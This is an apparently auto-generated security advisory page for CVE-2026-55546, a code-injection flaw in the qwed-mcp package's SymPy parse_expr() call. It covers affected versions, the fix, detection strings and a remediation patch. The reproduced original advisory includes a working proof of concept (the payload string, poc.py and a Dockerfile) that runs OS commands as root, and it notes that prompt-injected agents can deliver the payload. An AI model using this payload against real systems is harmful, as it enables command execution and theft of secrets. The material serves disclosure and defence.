CVE-2026-55546: qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input
qwed-mcp, a Python MCP package that verifies math and other claims, runs attacker-supplied strings through SymPy's `parse_expr()` in `verify_math_expression()`. A string such as `__import__('os').system(...)` runs OS commands in the host process. Versions below 0.2.1 are affected. Upgrade to 0.2.1.
Published Aug 25, 2026 · Analysis Oct 25, 2026
What an attacker can do
verify_math_expression(expression, claimed_result, operation) in src/qwed_mcp/engines/math_engine.py replaces ^ with ** and hands both string arguments to parse_expr() (lines 50-54 and 64-68). parse_expr() calls Python's eval(). The code passes a local_dict of math symbols but no global_dict, so Python gives the evaluated expression the full __builtins__. That includes __import__, open and exec. There is no allowlist, AST check or sandbox before the call.
The reporter's proof of concept calls verify_math_expression("__import__('os').system('id > /tmp/...')", "0") and gets command output as root in a Docker container.
An attacker therefore needs a way to feed text into either argument. The advisory notes that the v0.2.0 default MCP tool registry does not register this function as a tool, so the exposure depends on how you use the package. Code that imports the function and passes it user or model-generated text is vulnerable. So is any server that wraps it as a tool, where a prompt-injected agent can supply the payload. The attacker gets arbitrary commands, file access, environment secrets and a pivot into reachable internal services.
Who is affected
qwed-mcp versions below 0.2.1 (the advisory reproduces it on 0.2.0). Whether you are exposed depends on whether untrusted text can reach verify_math_expression(), directly or through an MCP tool you registered.
Check the installed version:
pip show qwed-mcpqwed-mcp
- Ecosystem
- PyPI
- Affected
- < 0.2.1
- Fixed in
- 0.2.1
- Check
pip show qwed-mcp
How to fix it
Upgrade to 0.2.1:
pip install --upgrade qwed-mcpThe release replaces the bare parse_expr() calls with a safe_parse_expr() wrapper. According to the release notes, it removes __builtins__, applies a regex denylist, restricts global_dict and isolates the evaluation namespace. The same release raises the PyJWT floor to 2.13.0 for an algorithm-confusion issue.
The sources give no workaround. If you cannot upgrade at once, stop passing untrusted input to verify_math_expression() and remove any tool that wraps it. Rotate secrets in the environment of any process that did.
How to tell if you were hit
Search the logs and stored inputs of any service that calls verify_math_expression() for expression or claimed-result strings containing __import__, __builtins__, os.system, exec(, eval( or open(. A normal math input never contains double underscores.
On the host, check for shell children of the Python process running the MCP server, new files in /tmp and unexpected outbound connections. If an AI agent can call a tool that wraps this function, Beam's recorded agent shell commands and MCP tool calls can show the payload and the commands that followed.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.
Details
The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^ → ** substitution — to sympy.parsing.sympy_parser.parse_expr():
# math_engine.py:50-54
expr = parse_expr(
expression.replace("^", "**"),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
transformations=transformations
)# math_engine.py:64-68
claimed = parse_expr(
claimed_result.replace("^", "**"),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
transformations=transformations
)local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.
There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).
Data flow:
- Source —
math_engine.py:13-16: external caller suppliesexpressionandclaimed_result. - Propagation —
math_engine.py:50-54:expressionsubstituted and forwarded toparse_expr(). - Propagation —
math_engine.py:64-68:claimed_resultsubstituted and forwarded toparse_expr(). - Sink —
sympy.parsing.sympy_parser.parse_expr(): callseval()with unrestricted__builtins__.
PoC
Environment setup
# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301
# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12
# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rceExploit input
import importlib.util, sys, os
spec = importlib.util.spec_from_file_location(
"qwed_mcp.engines.math_engine",
"src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression
payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")
print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
print(f.read())Expected output (Phase 2 Docker observation)
[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---
[RESULT] PASS — deterministic RCE evidence observed inside containerThe marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.
Remediation
Apply AST allowlisting and restrict global_dict before every parse_expr() call:
--- a/src/qwed_mcp/engines/math_engine.py
+++ b/src/qwed_mcp/engines/math_engine.py
import logging
+import ast
from typing import Optional
+ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}
+ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}
+ALLOWED_AST = (
+ ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,
+ ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,
+ ast.USub, ast.UAdd,
+)
+
+def _validate_math_syntax(expr: str) -> None:
+ tree = ast.parse(expr.replace("^", "**"), mode="eval")
+ for node in ast.walk(tree):
+ if not isinstance(node, ALLOWED_AST):
+ raise ValueError(f"Unsupported syntax: {type(node).__name__}")
+ if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:
+ raise ValueError(f"Unsupported symbol: {node.id}")
+ if isinstance(node, ast.Call):
+ if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:
+ raise ValueError("Only approved math functions are allowed")
+ if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):
+ raise ValueError("Only numeric constants are allowed")
+
+safe_globals = {"__builtins__": {}}
+
- expr = parse_expr(
+ _validate_math_syntax(expression)
+ expr = parse_expr(
expression.replace("^", "**"),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+ global_dict=safe_globals,
transformations=transformations
)
- claimed = parse_expr(
+ _validate_math_syntax(claimed_result)
+ claimed = parse_expr(
claimed_result.replace("^", "**"),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+ global_dict=safe_globals,
transformations=transformations
)Impact
Any caller that passes attacker-controlled input to verify_math_expression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:
- Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).
- Read, write, or delete files accessible to the process.
- Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.
- Pivot to internal services reachable from the host.
The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verify_math_expression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
LABEL vuln="VULN-001" \
title="Unsafe SymPy parse_expr() RCE" \
cwe="CWE-94" \
target="QWED-AI/[email protected]"
WORKDIR /app
# Copy only the package source tree from the cloned repo.
# math_engine.py only imports sympy at runtime; full project deps
# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.
COPY repo/src /app/src
# Install the single runtime dependency used by the vulnerable module.
RUN pip install --no-cache-dir "sympy>=1.12"
# Copy the proof-of-concept script.
COPY vuln-001/poc.py /app/poc.py
# Make qwed_mcp importable via the local source tree.
ENV PYTHONPATH=/app/src
CMD ["python3", "/app/poc.py"]poc.py
"""
VULN-001 Proof of Concept
=========================
Target : QWED-AI/qwed-mcp v0.2.0
Module : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)
Root cause
----------
verify_math_expression() passes attacker-controlled strings directly to
sympy.parsing.sympy_parser.parse_expr() without restricting global_dict.
parse_expr() ultimately calls eval() with SymPy's namespace as globals.
Because that namespace does not set __builtins__ to {}, Python injects the
current module's builtins automatically, making __import__ available.
Attack
------
Inject a Python expression as the 'expression' or 'claimed_result' argument:
__import__('os').system('<shell command>')
The system() call executes before parse_expr() tries to interpret the return
value as a SymPy expression.
Expected evidence of exploitation
----------------------------------
1. /tmp/vuln001_rce_marker is created inside the container.
2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.
3. The script exits 0; any other exit code means exploitation failed.
"""
import os
import sys
MARKER_FILE = "/tmp/vuln001_rce_marker"
OUTPUT_FILE = "/tmp/vuln001_rce_output.txt"
def run_poc() -> bool:
"""Run the PoC; return True on confirmed exploitation, False otherwise."""
print("=" * 60)
print("VULN-001 — Unsafe SymPy parse_expr() RCE — PoC")
print("=" * 60)
# --- Step 1: import the vulnerable function ---
# qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).
# We load math_engine.py directly via importlib to exercise the vulnerable
# module in isolation, exactly as an attacker who calls the library API would.
print("[*] Importing vulnerable function via importlib (direct module load) ...")
import importlib.util
import sys as _sys
_module_path = "/app/src/qwed_mcp/engines/math_engine.py"
try:
_spec = importlib.util.spec_from_file_location(
"qwed_mcp.engines.math_engine", _module_path
)
_mod = importlib.util.module_from_spec(_spec)
_sys.modules["qwed_mcp.engines.math_engine"] = _mod
_spec.loader.exec_module(_mod)
verify_math_expression = _mod.verify_math_expression
except Exception as exc:
print(f"[-] Import failed: {exc}")
return False
print(f"[+] verify_math_expression loaded from {_module_path}")
# --- Step 2: craft the RCE payload ---
# The payload is injected as the `expression` argument.
# Shell commands:
# id — prints current user/uid/gid (confirms arbitrary execution)
# hostname — prints container hostname (confirms in-container execution)
# touch — creates a marker file (machine-checkable evidence)
shell_cmd = (
f"id > {OUTPUT_FILE} && "
f"hostname >> {OUTPUT_FILE} && "
f"touch {MARKER_FILE}"
)
payload = f"__import__('os').system('{shell_cmd}')"
print(f"\n[*] Injection payload (expression argument):\n {payload}\n")
# --- Step 3: call the vulnerable function ---
print("[*] Calling verify_math_expression(payload, '0') ...")
result = verify_math_expression(payload, "0")
print(f"[*] Return value: {result}\n")
# --- Step 4: verify exploitation evidence ---
marker_exists = os.path.exists(MARKER_FILE)
output_exists = os.path.exists(OUTPUT_FILE)
if marker_exists and output_exists:
with open(OUTPUT_FILE) as fh:
rce_output = fh.read().strip()
print("[+] *** EXPLOIT SUCCESSFUL ***")
print(f"[+] Marker file present : {MARKER_FILE}")
print(f"[+] RCE command output :\n--- BEGIN OUTPUT ---\n{rce_output}\n--- END OUTPUT ---")
return True
# Partial evidence (marker only, no output, or vice-versa) still counts.
if marker_exists:
print("[+] *** EXPLOIT SUCCESSFUL (marker only) ***")
print(f"[+] Marker file present : {MARKER_FILE}")
return True
print("[-] EXPLOIT FAILED — marker file not found")
print(f"[-] Expected: {MARKER_FILE}")
return False
def main() -> None:
success = run_poc()
if success:
print("\n[RESULT] PASS — deterministic RCE evidence observed inside container")
sys.exit(0)
else:
print("\n[RESULT] FAIL — could not confirm arbitrary code execution")
sys.exit(1)
if __name__ == "__main__":
main()Questions
- Is qwed-mcp 0.2.0 exposed by default?
The advisory says the default MCP tool registry of 0.2.0 does not expose
verify_math_expression()as a tool. The function is still importable and exploitable by any code that passes it untrusted text.- Which version fixes the SymPy parse_expr injection?
qwed-mcp 0.2.1. It wraps expression parsing in
safe_parse_expr(), which removes builtins and restricts the evaluation namespace.- Does the attacker need to log in?
The advisory says no authentication or special configuration is needed. The only requirement is that attacker-controlled text reaches the
expressionorclaimed_resultargument.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
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